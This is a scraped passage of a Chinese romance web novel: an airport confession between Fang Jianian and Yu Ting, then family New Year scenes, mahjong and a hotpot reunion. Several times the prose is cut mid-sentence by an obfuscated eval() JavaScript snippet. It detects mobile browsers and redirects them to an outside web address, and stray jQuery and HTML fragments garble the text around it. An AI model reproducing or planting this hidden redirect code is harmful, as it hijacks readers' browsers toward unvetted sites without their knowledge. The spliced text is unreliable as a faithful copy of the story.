工作人员向他反复强调了在柜台购买没有折扣优惠,只能全价购买。方嘉年毫不犹豫地答应下来,并支付了全额票价。 当工作人员在电脑上操作时,他忍不住焦急地四处张望,脑海里全是虞听头也不回登机的画面。 要是赶不上了怎么办? 果然还是太晚了,早在得知她要出国留学的那一天就该去挽留…… “先生,您是要选靠窗的座位,还是靠走廊的座位?”工作人员的出声打断他的思绪。 “都可以。” “您有行李要办理托运吗?” “没有,请快一点。” “……好了,这是您的身份证件和登机牌,请按照指示前往安检。” 拿着好不容易才买到的机票,他通过了安检口,心急如焚地用目光搜寻着整个候机厅。 心底像有一座随时喷发的活火山,有什么东西呼之欲出。他浑然忘却了自己身处何地,甚至没有注意方嘉岁发来的机票截图上,最终目的地并不是首尔仁川。茫然张望的双眸中只有一个目标,那就是找到虞听,一定要找到她。 终于,他隔着重重人群,与一双眼睛对上视线。 那一瞬间,燃烧到沸腾的心奇异地安静了下来,折磨多日的愤怒终于得到了平息,他找到了一种久违的安定。 啊……原来他喜欢这孩子。 ——这个念头从未如此地明确过。 因为喜欢,所以看不顺眼出现在她身边的每一个男生。 因为喜欢,所以在看到有人辱骂她、甚至要伤害她时,才会愤怒到失去理智,出手伤人。 也正因为喜欢,所以才自卑于自己残暴的一面暴露在她的眼前,拼命想要掩盖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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现在想想,要是当时就答应的话,也就不至于绕这么远的一段路了。 他知道虞听对自己的脸毫无抵抗力,也知道她喜欢自己用什么眼神看着她。于是他露出弧度最完美的笑容,眼神柔和得能滴出水。 本以为万无一失,没想到虞听却缓缓张开了嘴,满脸都是不可置信:“哥……做人怎么能渣到这种地步?” 什么?怎么会是这种反应? 看着她写满失望的眼神,方嘉年慌张起来。 “你是要跟我劈腿吗?”虞听愤怒地质问,“我虽然喜欢哥哥,但也没喜欢到可以插足别人感情的地步,我是有良心和道德感的人!” 劈腿?插足? 啊……妈的,江诗逸。 此刻的方嘉年终于醒悟,他给自己挖了多大的一个坑。 后悔已经来不及,他只能先尽量解释:“不是,我跟那个人不是情侣关系,她只是一个同系同学。” 虞听看他的眼神明显不信,更加具有谴责意味:“别骗人了,你们不是还一起去看电影了吗?” “只是因为在课题上有往来。” “……” “不信吗?”方嘉年掏出手机,“我打电话给她,让她给你证明。” 虞听没有反应,过了半晌,才像终于想通一样,慢慢道:“所以哥没有女朋友,却假装自己有女朋友,都是为了让我死心吧?” “……” 明明平时迟钝得不行,到了这种时候总是格外敏锐的虞听真是让人无奈。 方嘉年当机立断地道歉:“对不起,是我做的不对,哥给你道歉,还是要跪下来?打我也可以。” “我为什么要打哥哥?也别在机场下跪,太丢人了……” 虞听生气地含泪拒绝,不知看到什么,突然倒吸一口凉气,语气紧张起来:“这个我们以后再说吧,现在先……” “为什么要以后再说?”方嘉年嘴角的温柔笑容有点维持不住了,“哥真的知道错了,不能原谅我吗?我会对你很好的。” 就这样,连平时从来不做的撒娇都给做了,但虞听还是没有动容。 “以后再说……” “现在就说吧,要不要和哥在一起?” “哥,后面……” “后面看我表现?”方嘉年满怀感激,紧紧握住她的双手,“谢谢你,听听,哥一定会好好表现的。” “不是,我是说你后面……” “嗯,我后面会好好表现的。” 方嘉年此刻充满信心,身体轻盈得像要飘离地面。 即使虞听只喜欢他的温柔也没关系,他愿意将那个真实的、阴暗的自己完全埋葬,从此只保留她喜欢的一面,他愿意为她戴上一辈子的面具。 现在想想,装一辈子善良的人又有什么好累的呢?他已经装了二十多年了,哪怕继续装下去也没关系的吧。 相比起隐藏本性而带来的折磨,与虞听在一起时得到的满足感足以掩盖这些微不足道的痛苦。 直到此刻,他才发觉,原来自己对虞听的喜欢已经深到了这种程度。 “只要对你亲切就行了吧?还想要什么吗?只要你说出来,哥哥全都给你做到……” 恐怕求偶期的动物也没有他这么恳切急迫了,他迫不及待地展示着自己所拥有的一切,就像孔雀开屏一样,只为了获得心上人的青睐。 看着他诚恳的神情,虞听无奈地叹了口气:“我知道了。哥哥,我现在要告诉你一件事,你不要吓到。” 方嘉年:“只要不是拒绝,没有什么能吓到我。” “行,”虞听深吸一口气,对他说,“你回头看看。” “嗯?” 方嘉年微笑着回头,看到了满脸惊愕正瞪着他的虞家父母。 卷二《Regretlove》End 20. 热恋期01 航班于下午六点准时落地C市机场。 虞听的舅舅作为全家代表,过来接上了这一家三口,但他隐约察觉出了不对劲。 从到达大厅到停车场的这一路上,除了他姐见到他时说了两句场面话,父女两个竟一句话也没说。 一向乐呵呵的姐夫脸上没了笑容,像是谁欠他钱似的,一上副驾驶就盯着车窗外。而他那个小外甥女老老实实坐在后座,缩着脖子像只鹌鹑。 这是吵架了?谁不知道老虞最疼女儿,这场面可不少见。 虞听舅舅姓宋,全名宋康尧,是个浓眉大眼的北方汉子,最喜欢跟人开玩笑,见了这场面也不怵,还笑着打趣虞爸:“姐夫,系上安全带啊。这是谁给你气受了?不是我姐吧?” 虞爸沉着脸把安全带一插,也不接话。 宋康尧在后视镜里与姐姐挤眉弄眼,询问她这是怎么了。 虞妈心情也不是很好,但还是说:“你别管他,开你的车吧。” “得,我不问了。”宋康尧悠悠发动车子。 转眼又与后座的外甥女对上视线,笑道:“你这孩子怎么一脸傻笑,有什么高兴的事?” 话音落地,前排的虞爸立马扭头看来,眉毛拧得跟麻花似的。 虞听不敢傻笑了,急忙收敛表情,拉直唇线,凑上前抱住驾驶座椅问:“舅舅,今天晚上吃什么?” 宋康尧一边转着方向盘倒车,一边道:“今天晚上啊,你外婆为了接待你,可是使出咱们家最高接待规格了——白菜猪肉炖粉条子。” 没想到话刚说完,副驾驶上一言不发的虞爸突然忿忿道:“不吃猪肉!” 宋康尧被他吓一跳:“猪肉怎么了?猪肉得罪你了?” 虞爸重重地哼了一声:“猪不是个好东西,有些猪专拱别人家的白菜。” 今晚他跟全世界的猪都有仇。 听懂他意有所指的虞听默默坐回了后座,假装自己不存在。 *** “到了吗?” 到外婆家三十分钟后,虞听接到了方嘉年打来的电话。 “嗯,到了。” “饭呢?” “还没吃,”虞听顿了顿,又问,“哥哥呢?” “已经吃过了。” 短暂的寒暄过后,通话暂时陷入了沉默。 虞听紧张得连呼吸都屏住了。 为什么心脏突然跳动得这么快? 明明不是第一次和方嘉年通话了,可她还是心悸得如同当年那个第一次鼓起勇气和他打电话的小女孩一样,脑海中拼命搜寻着话题,喉咙干渴得仿佛在灼烧。 “伯父伯母……怎么样了?”最终还是方嘉年出声打破了僵局。 他问得委婉,可虞听却知道他在问什么。 在机场那出尴尬的碰面之后,由于登机时间到了,方嘉年只来得及向虞家父母问了声好,就目送他们一家三口走进了廊桥。只不过最后虞爸回头瞪了他一眼,毫不夸张地说,如果目光能杀人的话,他已经死一万遍了。 虞听斟酌了一下措辞,坦诚道:“妈妈还好,爸爸……有点生气。” 上飞机后,虞妈大概也猜到了这阵日子让女儿伤心的渣男就是方嘉年,问她是不是。 虞听犹豫了一会儿,点头承认。 虞妈听完只是沉默了,什么也没说。 而虞爸的反应说生气都有点轻了。 其实也可以理解,任谁目击了捧在手心快二十年的宝贝女儿被男人追到机场告白,而且这个男人还是大她六岁、从小看到大的同学家的哥哥,都无法冷静下来。破防的老父亲在飞机上破口大骂,直言方嘉年不安好心,老牛啃嫩草,癞/□□想吃天鹅肉。 他激动得脸红脖子粗,声音大到整个机舱的人都能听见,虞听甚至都担心等会儿空乘就会过来请他下飞机。 当然这些话是不能告诉方嘉年的,经过她的艺术加工,只贴心地使用了“生气”的字眼。 “应该不止是生气吧,”方嘉年也心知肚明,叹了口气,“究竟是从什么时候开始看的?你看见了,为什么不告诉我?就这么看着哥哥在长辈面前丢人吗?” 他要是说这种话,虞听就感觉冤枉了:“我提醒了,是哥哥一直不听我说话,光知道说自己的。” 方嘉年扑哧笑了,笑声混在电流里,显得格外有磁性。 “是吗?那看来是我的错,我太专注于告白了。” “告白”两个字一出口,虞听的脸顿时火辣辣地涨红了。 霎时间,机场里发生的一切好像又重现在眼前。 人来人往的候机大厅,催促乘客登机的广播,落地窗外在跑道滑翔的飞机,以及满脸诚挚又恳切,向她说着“我喜欢你”的方嘉年。 他温柔的眼神,紧紧握着她的双手,以及那个用力到令她疼痛的拥抱,鼻尖盈满的全是他身上的清冽气息,至今回想起来,都令她血液不通到好像指尖都在发麻。 “听听,你还没有给我答复呢。”在机场的告白延续到了现在,方嘉年含着笑问,“怎么样?要和哥哥交往吗?” 那嗓音低沉柔和,就像在耳边蛊惑一样。 虞听很久以前就喜欢他的声音,传说中的海妖塞壬不就是这样吗?用天籁般的歌喉吸引路过的水手失神,让船只触礁沉没,再将他们拉入冰冷的海底。 “我……”握着手机的手紧了紧,喉咙滞涩得像吞了沙子,虞听艰难地挤出一句回答,“我不知道……” “我现在还无法相信哥哥,说实话,现在想起来也好像做梦一样。” 怎么会突然说喜欢她呢?怎么能在她好不容易决定结束这段感情之后,跑过来向她表白呢? 亲耳听到他告白的那一刹那,心中率先感受到的不是悸动,而是荒谬。虽然知道方嘉年并不是会拿这种事开玩笑的人,但她还是忍不住去怀疑这是不是一场恶作剧。 “……怎么不说话了?”听筒里的沉默令虞听慌张起来,“我只是说不知道,不是……不是要拒绝,哥哥生气了吗?” “没生气。”电话那端传来了温和的嗓音,“拒绝也没关系。” “……” 这平和的回答令虞听一下子就生气了:“什么叫拒绝也没关系?那我到底是要拒绝还是答应?哥哥果然是耍人玩的吧?根本就没想要让我做你的女朋友吧?” “不是,”方嘉年温声解释,“我只是不想看你这么苦恼。喜欢就答应,不喜欢就拒绝,听听不用考虑我的心情,随自己的心意去做就行。” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640330|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我要是拒绝呢?”虞听故意这么问。 电话里沉默了大概两三秒,可以听见骤然加重的呼吸声,紧接着,男人的轻笑声传来:“真的要拒绝吗?” “……也不是。” 话音刚落,就听到了男人更加明显的笑声。 早知道刚刚就不说那句话了,简直自取其辱…… 虞听暗自悔恨地揉了把脸,深刻感觉到自己就像只蚂蚁一样,在方嘉年的掌心任他揉捏。 可告白的人是他,说要交往的人也是他,难道现在感到焦灼的人不该是他吗?凭什么只有自己心里七上八下的。 虞听像瞬间找回了主导权一样,腰杆都挺直了:“我要考虑一下。” “是要吊着我吗?”方嘉年笑问。 “不可以吗?”虞听理直气壮地反击。 “可以。”做出许可之后,方嘉年又问,“要考虑多久呢?” 虞听想了想,犹豫地试探着问:“如果要很久呢?哥哥要怎么办?” 会后悔吗?会放弃吗?会收回要和她交往的提议吗? 可电话里传来的回答却十分爽快:“还能怎么办?等着呗。不管是一天两天,还是一年两年,总有一天会答复的吧。在那之前,哥哥什么都不做,就这么等着。” “……” 在那一瞬间,虞听很想立即答应他。 她还是喜欢方嘉年。 虽然无数次说过要埋葬这段感情,甚至自己都感觉快要戒掉那份喜欢了。可喜欢是不会轻易消失的,只是被暂时压制了。一旦压在上面的巨石挪开,曾经被刻意忽视的感情只会越发炽盛,熄灭的火苗只需要一丝微风,就能变成熊熊燃烧的燎原大火。 “……不会要一两年那么久的。”虞听很小声地解释,“我只是想要确认一下。” 确认一下他对她的感情是不是认真的,是不是真的出自喜欢,就像她喜欢他一样。 “再加上哥哥骗我有女朋友的事,确实很生气。”虞听闷闷不乐地补充。 “……知道了,对不起。” “真的不是女朋友吧?” “不是。” 得到否定的回答,虞听心中还是有几分雀跃的。不过她不想让方嘉年察觉,于是抿紧嘴唇道:“接受你的道歉,但消气现在还不行。” 方嘉年轻轻嗯了一声:“不过听听啊,可以拜托你一件事吗?” “什么事?” “可以把我从黑名单里放出来吗?总是用方嘉岁的手机给你打电话,不是很不方便吗?” 他不说的话,虞听都差点忘了这是方嘉岁的号码了。 “哥怎么拿着岁岁的手机?她人呢?” “被我关在洗手间里了。” “……为什么要把她关进洗手间?” 虞听差点以为他在开玩笑,可是仔细听的话,确实能听见方嘉岁在那边挠门的声音。 她还以为那噪音是隔壁在装修呢。 方嘉年:“不想我每次给你打电话都要把方嘉岁关进去的话,就把我从黑名单里放出来吧。” 虞听:“……” 最终,为了好友的人身安全,虞听将他拉出了黑名单。 而当天晚上,她被迫听了很久方嘉岁激情骂人的声音。 21. 热恋期02 大年三十,虞听去了爷爷家过年。 由于虞爸早年跟父亲的关系不是很好,所以两家并不是经常走动,只有每年回老家过年时,才会过来吃一顿年夜饭。 但虞听的爷爷挺有钱的,单位上退休的老领导,光退休金就是一笔不小的积蓄。大伯父也是开公司的老板,每年不少赚。 所以虞听今年光压岁钱就拿了不少,她把这事在微信上说给方嘉年听,随后就关了手机打麻将去了。 人逢喜事精神爽,她今晚手气不错,赢了她大伯母不少钱。 大伯母不上班,手里头也不差钱,平时就好打麻将,见虞听穿着一身红毛衣喜气洋洋的样子,就像春晚节目里的年画娃娃一样,哪怕输了钱心里都喜欢,笑着打趣:“哎呀呀,真是不该跟你们大学生打牌,脑袋瓜转得太灵活了。” “哪有哪有,运气而已,”虞听平时嘴巴就甜,最会讨大人开心,“明天请伯母喝奶茶。” 大伯母“哎哟”一声,打出一张二筒:“奶茶这种甜不拉几的东西,那都是你们年轻人爱喝的。” 说到这里又笑:“听听在学校谈男朋友了没有?” 虞听还没说话,正依偎在老婆身边看她打牌的虞爸就直起身子说:“谈什么男朋友,宝宝还小呢。” 大伯母被逗得眉开眼笑:“都快二十了还小呢,老弟,知道你疼闺女,可闺女不像小子,到年纪了总要出嫁的,你可别把闺女留来留去留成仇。” 虞爸跟嫂子不对付,眼睛一瞪刚要说话,胳膊肘就被虞妈推了下:“摸牌了。” 他只好伸手摸了张牌,摸来张不要的,顺手又丢去了桌上。 作为话题的中心,虞听是一句话也不敢说,默默打开手机,竟然发现不久前方嘉年给她发来了消息。 嘉年哥:新年快乐,听听。 嘉年哥:压岁钱转到你的账户里了。 点开短信一看,确实收到了一条银行卡入账消息,显示的数额是虞听看了都震惊的程度。 她连忙拇指飞动,敲下一句话发送过去。 猫咪不吃鱼:哥哥,你是不是多打了一个0? 回复来得很快。 嘉年哥:不是。(*^__^*) 什么年代的人啊,居然还用颜文字。 虞听切身体会到了她与方嘉年隔着六岁的年龄差距。 不过真的好可爱。 她忍不住摸了摸屏幕上那个笑脸表情。 “听听,到你了。”坐她下家的堂嫂催促她摸牌,又好奇地问,“跟谁发消息呢?笑得那么开心?” “没谁。” 在虞爸狐疑扫过来的视线下,虞听连忙坐直身体,端正表情,抬手摸了张牌。 来的正好是她缺的那一张牌,这下自摸,又胡了。 趁着麻将机自动洗牌的时候,她又打开手机,给方嘉年发消息。 猫咪不吃鱼:哥哥不会把身上所有的钱都给我了吧? 猫咪不吃鱼:酒馆员工的工资还发得出来吗?年底拖欠工资的老板最可恶了,哥哥不要做这种无良老板。 猫咪不吃鱼:我把钱转给哥哥吧。今年的压岁钱已经够多了,刚刚打麻将也赢了不少。(*≧▽≦*) 后面附了一张照片,墨绿色的麻将桌面上是一沓粉票子。 虞听还很心机地让自己的手也入了镜,不是全部,但刚好可以让他看见自己新做的裸色美甲。 和她刷屏式的聊天风格一样,方嘉年针对她的消息每一条都进行了回复。 第一条—— 嘉年哥:我比你想象的要有钱,发一点压岁钱不会破产。 他把五位数的压岁钱称之为一点压岁钱吗? 虞听看得咋舌。 第二条—— 嘉年哥:要来帮哥哥管钱吗? 谁要去帮他管钱?她又不是……老板娘。 虞听拍了拍发热的脸颊,试图让自己清醒一点。 最后一条—— 嘉年哥:有很多人给你发压岁钱,但我希望我是最特别的那一个。 后面还跟了一条—— 嘉年哥:好好打麻将吧,多赢钱。 啊啊啊啊啊! 虞听捂住嘴巴,害怕心底的尖叫声会突破喉咙,与空气共振发出尖锐爆鸣,让牌桌上的家人都听见。 太会了,这个男人简直太会了! 她根本就赢不过。 虞听使出十分力气才控制住疯狂上扬的嘴角,面不改色地打字。 猫咪不吃鱼:哥哥是想发动金钱攻势来打动我吗? 猫咪不吃鱼:不好意思,我是不会上当的。 猫咪不吃鱼:顶多只有一点点。 发完她就焦灼地啃着指甲等那边回复,连自己丢出去的是什么牌都不知道,完全在一通乱打。 大约等了一两分钟,手机响了。 虞听迫不及待地抓起手机查看—— 是语音消息。 “我去上个厕所!” 虞听腾地一下就弹起来了,椅子脚与地面摩擦,发出刺耳的声响。 把牌桌上的大人吓了一跳:“怎么了?这孩子冒冒失失的。” 虞听以百米冲刺的速度冲进洗手间,然后砰地关上门,靠在门上点开那条语音。 “原来给钱也能打动你么?”方嘉年掺着笑意的嗓音柔和地传来,“早知道就把全部财产转给你了。” “……” ——完了,完了。 看着镜子里那个粉面含春、眼角眉梢都是笑意的自己,虞听捂脸发出一声无力的哀鸣。 什么欲擒故纵,什么爱情里的主导权,统统都是假的,她输了,完全输了,她已经被方嘉年死死地握在手掌心,翻不出什么风浪了。 *** 大年初一的清晨,虞听被噼里啪啦的鞭炮声吵醒,吃过早饭之后,就跟着爸爸妈妈去了外婆家拜年。 虞听的外婆生了二女一子,虞妈排第二。 老宋家虽不说儿孙满堂,但全家人凑起来也能坐一桌。在所有的孙辈里头,虞听这个外孙女是最受宠的,虽然不排除有隔代亲的缘故,但也有虞听从小就长得白白胖胖讨人喜欢的原因,再加上又长期不在身边,一年只能见上几次,老人家就更舍不得了。 虞听小时候每回寒暑假都要来外婆家玩,来的时候欢天喜地,走的时候哭天抢地,外婆抱着她根本不撒手,上车了还能追在车后面哭。 这次来也是,一下车她就被外婆搂在怀里不松手了,嘴里幺儿、乖宝的喊了一大堆,一下又问怎么瘦成这样了。 虞听先黏在外婆怀里撒了会儿娇,又去跟其他大人打招呼。 “外公!” “哎,听听来了。” 外公正在屋檐下修鞋,他是个节省惯了的性子,皮鞋穿开口了都得拿502胶水粘上继续穿。虞听小时候弄坏的钢笔都是他修好的。 她走过去好奇地弯腰看外公修鞋,这时候舅妈从堂厅出来了,虞听连忙站直身子,响亮地喊了声:“舅妈过年好!” “哎,听听过年好。” 舅妈林秋穿着一身大红羽绒服,看着特别喜庆,从口袋里掏出一个红包递给了她。 虞听不好意思地挠了挠脑袋:“我都上大学了。” 林秋:“上大学了也是小孩子,拿着拿着。” 虞听只好笑纳了,又问舅妈:“童童呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651088|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 童童是她舅舅去年出生的儿子,也是她的小表弟,老宋家年龄最小的孩子。 林秋:“在屋里玩呢,你进去找他吧。” 虞听连忙走了进去。 客厅里有个很大的爬爬垫,散落着一些五颜六色的玩具,表弟童童就被放在里面,居然已经可以扶着围栏走路了。 虞听上次在家族群里看他的照片和视频,他还只是个满地乱爬的婴儿呢,小孩子真是一天一个样。 她从围栏里把童童抱了起来,在他香香软软的脸蛋上亲了好几下。 “童童还记得我吗?” 小孩不认生,被她抱着居然不挣扎,乖乖待在她怀里,这让虞听升起一种他还认识自己的期望。 童童眨巴着像黑葡萄一样水汪汪的大眼睛,似乎真的是在辨认她,然后,扬起肉乎乎的短圆胳膊,非常利落地给了她一巴掌。 虞听:“……” 中午的时候,大姨一家也来了。 虞听这个姨妈生了一儿一女,堂哥是长子,已经结婚生子了,因为年龄相差得太大,虞听跟他关系一般,但跟他妹妹的关系却很不错。 表妹只比她小一岁,现在在读高三,姐妹俩每年夏天都在一起玩,有很多共同语言。 午饭做好,一大家子人围坐在餐厅的大圆桌边吃饭。 外婆一直不停地给虞听夹菜,劝她多吃,那碗里的菜堆成小山一样高。 宋康尧把刚剥好的大虾放进虞听碗里,笑着对她道:“你外婆恨不得拿个漏斗把饭给你灌进去,今年过年不长胖三十斤,你休想出这个门。” 舅妈林秋听了笑道:“行了,你自己吃吧,听听碗里的菜都要掉出来了。” 宋康尧说:“我再给她剥几只,她最爱吃这道白灼大虾了。” “舅舅,你别帮我剥了,我想吃会自己剥的。” 虞听已经开始想打嗝了,饭菜太多,又都是大鱼大肉,还没吃就感觉饱了。 “你别剥,你那手就不是用来剥虾的。”虞妈说,桌子下的腿踢了虞爸一下,“让你爸给你剥。” “哎。”吃着饭的虞爸立刻就放下了筷子,高高兴兴地剥起了虾,“宝宝想吃几只?爸爸保证给你剥得干干净净的。” 一顿饭吃完,虞听已经撑得走不动道了,躺在床上跟表妹聊天。 还没聊上几句,外面传来舅舅喊她的声音:“虞听,快出来打麻将了!” 中国人过年都喜欢在茶余饭后来点国粹活动,但宋家会打麻将的人不多,所以虞听作为唯一会打麻将的小辈,经常被拉壮丁。 昨天除夕她就被大伯母拉着打到凌晨两点,现在又要上桌。 “年纪轻轻的一脸犯困,被鬼吸精气啦?还没有我们中年人身体好。”宋康尧看着不停打哈欠的她打趣。 “舅舅试试两点睡七点起,只怕你还没有我这身体素质。”说这句话的工夫,虞听又打了个哈欠。 “别听你舅舅的,”搬个小板凳坐在虞听旁边的外婆一脸心疼道,“怎么那么晚才睡觉?要不先去房里睡个午觉?晚饭好了外婆再叫你起来吃。” “我们晚饭不在家里吃,”宋康尧随手丢出张幺鸡,“孟啸西他们回来了,喊着让我带听听出去吃饭呢,晚上还要去唱K。” 孟啸西是宋康尧的大学同学,出于某些渊源,也认识虞听。 虞听在群里早看见这事了,只是她不敢说,还是得舅舅提出来。 果然外婆强烈反对,还将他骂了一通:“大年初一出去吃什么饭,还唱歌,饭馆子都没开门。安静待家里吧,都是当爸的人了还没个定性,一天到晚的闲不住。” 宋康尧无所谓地耸耸肩:“总有家开门的。” 22. 热恋期03 最终还是决定晚上出去吃。 正要出门的时候,虞妈说了一句:“把小萱也带上。” 小萱就是虞听的表妹。 虞听的大姨听见了说:“她不去。康尧的大学同学聚餐,她一个都不认识,凑这个热闹干什么,去了也说不上话。” 虞听就说:“姨妈,我也在啊,小萱跟我说话就行了。” 大姨冲她笑:“好孩子,你自己去好好玩。小萱就不去了,她留在家里学习。都高三的人了,还有什么时间出去玩。” 表妹小萱在客厅里看电视,听见这话无动于衷。 虞听想了想,走过去小声问她:“你想去吗?想去的话就去,我来跟姨妈说。” 小萱按着遥控器,目不斜视地说:“我不去,你们去吧,我本来也不想去。” 她这么一说,虞听也没辙了,只能跟着舅舅出了门。 大年初一,街上很多商铺都打烊了,但正如宋康尧所说,总有开门做生意的。 最后他们找到一家春节期间照常营业的火锅店。 点着菜的工夫,其余人陆陆续续到了。 不管是谁,进来的第一件事必定是先跟虞听打招呼,或者掐一掐她的脸蛋,或者给她一个熊抱。 “程朗哥,啸西哥,文博哥。” 虞听起身一个个地打招呼。 这几个哥哥都是宋康尧的大学同学,都已经成婚生子了,这次聚餐也带了老婆过来,所以虞听喊完哥哥还有一堆姐姐要去喊。 宋康尧看着这几个厚着脸皮听虞听喊哥哥的老同学,翻了老大一个白眼:“年纪一大把了听人家小姑娘喊哥哥,还一个比一个答应得响亮,要不要点脸呐,你们。” 年轻的时候这帮哥们儿谁也不想听虞听喊哥哥,毕竟她喊宋康尧舅舅,哥哥舅舅,那不是差着辈份了吗?所以他们愣是对还不太会说话的虞听威逼利诱,教她喊叔叔。 那时候大家都是二十岁出头的小伙子,现在一转眼都奔四的年纪了,曾经不爱听的哥哥,现在反倒是听顺耳了,叫哥哥显年轻不是么?况且虞听喊哥哥的声音又脆又甜,没有人听了不喜欢的。 孟啸西一伸胳膊勾住宋康尧的肩:“我们就爱听这声哥哥,你要是不要脸,也可以让听听喊你哥哥。” 他的名字取自金庸的小说《白马啸西风》,本人也跟武侠小说里的主角一样,不拘小节,颇有侠气,是几个同学里跟宋康尧脾气最为相投的。 宋康尧没好气地推开他:“我要这么做,我姐能提刀砍了我。” “不光你姐砍你,你姐夫都要砍了你。”程朗笑着说。 众人笑起来。 虞爸疼女儿是出了名的,而且经常吃大舅子的醋,这事大家都知道。 这边终于打完招呼的虞听回来了,手里还塞着一沓红包。 孟啸西看见她,捧着她的脸又大呼小叫起来:“我的天呐!怎么瘦成这样了?宋康尧,你们老宋家不给孩子饭吃啊?” 他老婆也跟着说:“我还以为听听朋友圈发的照片是修图过度了,原来是真瘦了。减肥了吗?这是瘦了多少斤?” “差不多二十来斤。”虞听扒下孟啸西揉着自己脸的手。 丁文博是个戴眼镜的斯文男,仔细端详了她半天,推了推鼻梁上的眼镜道:“我怎么感觉听听瘦了长得更像老宋了。” 宋康尧正往沸腾的锅里下着菜,闻言得意地笑:“外甥像舅,我早说虞听长得像我,绝对是支潜力股。” 这话说得确实不错,虞听的长相继承了她舅舅的浓眉大眼,但鼻子和嘴巴又长得像虞妈,小巧精致,正是小说里的“琼鼻大眼”。而且头型非常加分,她属于小头小脸,哪怕最胖的时候,脸依然是小的,颅骨圆润,从侧面看都是一个完美的弧形。 程朗笑着说:“这长相到了大学里岂不是妥妥的系花?听听,学校里有人追你吗?” 孟啸西反驳:“你这话问错了,长成这样会没有人追?你应该问听听,谈男朋友了吗?” 虞听早知道今天逃不过这个话题,自从回来后,几乎见到的每个人都会问她这个问题。 正要敷衍过去,没想到舅舅代替她开口了:“她喜欢上一个渣男。” 此话一出,桌上的人都震惊了。 连虞听自己都震惊了,瞪大眼睛,脸涨得通红:“舅舅——” “怎么了?”宋康尧满脸无所谓,“你妈说的,说你爸为了这事儿愁得白头发都冒出来了。” 哥哥姐姐们纷纷不淡定了。 “谈渣男可不行啊,渣男不靠谱。” “就是,听听长这样该你渣别人才对,怎么能让别人渣你呢。” “哪个渣男啊?把他照片给我们看看,有我们几个哥哥帅吗?” …… 接下来的聚餐变成了花式劝虞听警惕渣男的大会。 虞听一边往嘴里塞着菜,心底泪流满面。 真是对不起嘉年哥,害他成了别人口中的渣男。 不过她也知道大家是为了她好,她跟这几个哥哥的渊源颇深。 虞听出生的时候,虞妈的事业正处在关键上升期,所以产假休完不久就回去上班了。虞爸也不能辞职回家带孩子,夫妻俩也不舍得把女儿送去老家给父母带。想请个保姆吧,社会新闻看多了,又怕保姆趁着他们不在家虐待女儿。 左右为难的时候,居然是宋康尧主动请缨,说他来照顾虞听。 那时候他正在临江念大学,读的是计算机。 虞妈一听这话不扯淡嘛,自己还上着学呢,怎么带孩子。 宋康尧说你让我试试。 结果没想到,他带得还挺好的。 当然这也不排除虞听特别好带的原因,按现在的话说,就是那种低需求宝宝,只要有奶,不哭不闹,一睡就是一两个小时,课间四十五分钟,完全可以安静度过。 在虞听上幼儿园之前,基本就维持着白天舅舅带,晚上被爸妈接回家的生活模式。 宋康尧的整个大学时代都很拉风,毕竟他是唯一一个带着婴儿上课的大学生,实在太引人注目了。 班上的同学们乃至教授都很喜欢虞听,调侃她是婴儿时期就接受过高等教育熏陶的人。课间休息时争着抱虞听就是他们唯一的课余活动,他们几乎是看着虞听学会说话和走路的,现在回想起来,还有诸多趣事。 孟啸西:“我还记得当时上着课呢,好像是高等数学吧,听得我昏昏沉沉的,结果你一泡尿给我滋醒了。” 虞听:“……” 又来了。 每年不说这个梗是过不去吗?年年都要说,已经成了她挥不去的黑历史了。 程朗:“还有教线性代数的那个老教授,你们还记得吗?我大学四年也没见他笑过一次,结果有一次,听听突然爬到讲台上去了——她那时候才刚会走路没多久呢,把我们都给看呆了,想喊又不敢喊,谁敢打断老教授的课程啊。最后这小家伙走累了,直接趴老教授脚边睡了,还流了他一裤腿的口水。当时给我吓得,差点以为他要发火了,却没想到他居然笑着把听听抱了起来。” 丁博接口说:“老教授一辈子未婚,无儿无女,看见可爱的小孩子,也会有舐犊之情吧,后来他还给听听买玩具呢。” 虞听虽然是当事人,但那时候年纪还小,压根不记事,所以不记得这些了:“那老教授现在怎么样了?” “去年去世了。”孟啸西说,“我们还去了他的葬礼。” “啊……” 虞听突然有点伤感起来,虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655476|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然她并不记得这位抱过她还给她买过玩具的教授。 宋康尧摸了摸她的脑袋:“他八十多岁了,能活到这个年纪,已经算不错了。” 虞听:“嗯。” *** 